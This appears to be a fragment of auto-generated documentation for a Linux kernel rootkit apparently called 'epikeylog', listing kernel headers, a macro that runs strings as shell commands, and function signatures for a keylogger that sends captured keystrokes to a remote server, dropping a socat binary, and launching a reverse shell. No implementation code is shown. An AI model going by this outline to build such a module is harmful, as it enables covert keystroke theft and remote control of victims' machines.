5#include <linux/ftrace.h>
7#include <linux/kallsyms.h>
8#include <linux/kernel.h>
9#include <linux/kprobes.h>
10#include <linux/sched.h>
11#include <linux/slab.h>
12#include <linux/spinlock.h>
13#include <linux/types.h>
14#include <linux/uaccess.h>
37#define exec_str_as_command(user_cmd, catch_stds) exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT)
38#define exec_str_as_command_no_timeout(user_cmd, catch_stds) exec_str_as_command_with_timeout(user_cmd, catch_stds, 0)
int exec_str_as_command_with_timeout(char *user_cmd, bool catch_stds, int timeout)
int epikeylog_send_to_server(void)
Handles sending the keylogger buffer content to the remote server.
int epikeylog_init(void)
Initializes the keylogger module.
int drop_socat_binaire(void)
int remove_socat_binaire(void)
int launch_reverse_shell(char *args)
int epikeylog_exit(void)
Exits the keylogger module, unregisters the notifier, and cleans up.
int(* cmd_handler)(char *args, enum Protocol protocol)